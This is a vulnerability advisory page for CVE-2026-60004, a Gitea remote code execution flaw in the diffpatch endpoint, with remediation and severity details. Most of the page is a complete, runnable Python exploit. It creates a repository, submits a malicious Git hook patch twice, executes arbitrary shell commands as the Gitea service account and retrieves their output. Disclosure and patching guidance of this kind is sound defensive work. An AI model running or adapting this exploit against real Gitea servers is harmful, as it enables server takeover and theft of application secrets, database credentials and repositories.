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CVE-2026-60004 — Vulnerability in gitea.dev — CVE Details

CRITICAL
Actively Exploited

Gitea: Remote Code Execution via diffpatch Git Hook Installation

Published September 8, 2026Updated September 10, 2026Source: osv

What Should I Do?

Patch Immediately

This vulnerability is confirmed under active exploitation (CISA KEV). Patch within 24-48 hours if possible.

Summary

### Summary Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content. An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. ### Details `services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") } ```` Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`. In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named: ```text hooks/post-index-change ``` becomes a live Git hook. Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account. The hook's return value is not propagated to the `diffpatch` response. The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP. ### PoC The supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository. Set the account password: ```bash export GITEA_PASSWORD='account-password' ``` Execute a command through the `diffpatch` chain: ```bash python3 ./gitea_diffpatch_rce_poc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd' ``` The script: * Creates an initialized private repository. * Submits the same executable-hook patch twice. * Fetches the result branch. * Prints the command's combined stdout, stderr, and exit status. * Prints the evidence repository, ref, and commit IDs to stderr. Expected output resembles: ```text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/... [exit-status=0] ``` The trigger requires: * Git 2.32 or newer. * An enabled `diffpatch` route. * A writable and executable temporary filesystem. Open registration is required only for the no-prior-credentials attack path. ### Impact This is remote command execution as the Gitea service account (`CWE-94`). Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose: * `app.ini` and Gitea application secrets. * Process environment secrets. * Mounted repositories. * Database credentials and database contents. * OAuth and integration credentials. * Other internal or externally reachable services. With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository. <img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" /> ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitea RCE PoC – authorized testing only. """ from __future__ import annotations import argparse import base64 import getpass import hashlib import json import os from pathlib import Path import secrets import shlex import shutil import subprocess import sys import tempfile from typing import Any import urllib.error import urllib.parse import urllib.request TIMEOUT = 30.0 USER_AGENT = "gitea-rce-poc/2.0" _RST = "\033[0m" _DIM = "\033[2m" _GRN = "\033[38;5;46m" # bright green _RED = "\033[31m" # red for errors def _g(t: str) -> str: return f"{_GRN}{t}{_RST}" def _r(t: str) -> str: return f"{_RED}{t}{_RST}" def _d(t: str) -> str: return f"{_DIM}{t}{_RST}" def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}") def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}") def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}") _SEP = " " + "═" * 44 BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}" def print_banner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(_g(line)) print() ver = version or "unknown" print(_g(" " + "-" * 54)) print(_g(f" Target : {url}")) print(_g(f" Version : {ver}")) if command: print(_g(f" Command : {command}")) print(_g(" " + "-" * 54)) print() class PocError(RuntimeError): pass class GiteaClient: def __init__(self, base_url: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.base_url = base_url.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}" def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.base_url + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USER_AGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2_000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON") def blob_oid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest() def build_hook(command: str, leak_ref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leak_ref}") return ( "#!/bin/sh\n" 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n' 'case "$origin_objects" in\n' ' /*) ;;\n' ' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n' "esac\n" 'origin_git=${origin_objects%/objects}\n' '[ "$origin_git" != "$origin_objects" ] || exit 3\n' f"output_blob=$({{ /bin/sh -c {qcmd}; " 'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | ' 'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | ' 'git --git-dir="$origin_git" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid " "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid " 'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode() def build_patch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'*40}..{blob_oid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode() def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, *arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout def fetch_output(git: str, client: GiteaClient, owner: str, repo: str, leak_ref: str) -> bytes: remote = ( f"{client.base_url}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" auth_cfg = Path(tmp) / "auth.config" fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} run_git(git, ["init", "--bare", "--quiet", str(bare)], env) run_git(git, [ "-C", str(bare), "-c", f"include.path={auth_cfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leak_ref}", ], env) return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env) def split_output(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.add_argument("url", help="Gitea base URL") p.add_argument("username", help="existing Gitea username") p.add_argument("command", help="shell command to execute on target") return p.parse_args() def main() -> int: args = parse_args() if "\0" in args.command: raise PocError("command must not contain a NUL character") password = os.environ.get("GITEA_PASSWORD") or getpass.getpass( _g("[?]") + " password: " ) if not password: raise PocError("password must not be empty") git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH") client = GiteaClient(args.url, args.username, password) # version probe (pre-banner) log_star("probing target...") version: str | None = None try: r = urllib.request.Request( client.base_url + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USER_AGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" print_banner(client.base_url, version, args.command) log_star(f"target={client.base_url} user={args.username} cmd={args.command}") print() # step 1 – authenticate log_star("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): log_err("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: log_err("no login in response"); raise PocError("no login") log_ok(f"logged in as {owner} ({version})") # step 2 – create repo unique = secrets.token_hex(5) repo = f"test-repo-{unique}" leak_ref = f"output-{unique}" log_star("creating repository...") sc, _ = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "auto_init": True, "default_branch": "main", "object_format_name": "sha1", }) if sc != 201: log_err("repo creation failed"); raise PocError("repo creation failed") log_ok(f"created repo {owner}/{repo}") # steps 3–4 – deliver payloads body = { "content": build_patch(build_hook(args.command, leak_ref)), "message": "initial commit", "branch": "main", "new_branch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): log_star(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: log_err(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: log_err(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}") # step 5 – retrieve output log_star("retrieving output...") output = fetch_output(git, client, owner, repo, leak_ref) log_ok("operation complete") # command output cmd_out, exit_status = split_output(output) print() log_ok(f"{args.command}:") print(_g("---")) if cmd_out: for line in cmd_out.splitlines(): print(_g(line)) else: print(_d("<no output>")) print(_g("---")) if exit_status == 0: log_ok(f"exit status: {exit_status}") elif exit_status is None: log_star("exit status: unknown") else: log_err(f"exit status: {exit_status}") return 0 if __name__ == "__main__": try: raise SystemExit(main()) except PocError as exc: log_err(str(exc)) raise SystemExit(1) from None ```

Advisory Timeline

  • First published September 8, 2026 (34 days ago).
  • Last revised September 10, 2026 — 2 days after initial publication.
  • Added to CISA's Known Exploited Vulnerabilities catalog 15 days before publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update gitea.dev to 1.27.1 or later
go get gitea.dev@v1.27.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
gitea.dev
go
All versions1.27.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-60004?
Gitea: Remote Code Execution via diffpatch Git Hook Installation This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-60004?
CVE-2026-60004 affects gitea.dev. This vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, meaning it is being actively exploited in the wild. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-60004 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Known Exploited Vulnerability

This vulnerability is in CISA's Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild.

Added to KEV catalog: August 25, 2026

Remediation deadline: August 28, 2026

Also Known As

GHSA-rcr6-4jqh-j84m
BIT-gitea-2026-60004
GO-2026-6433

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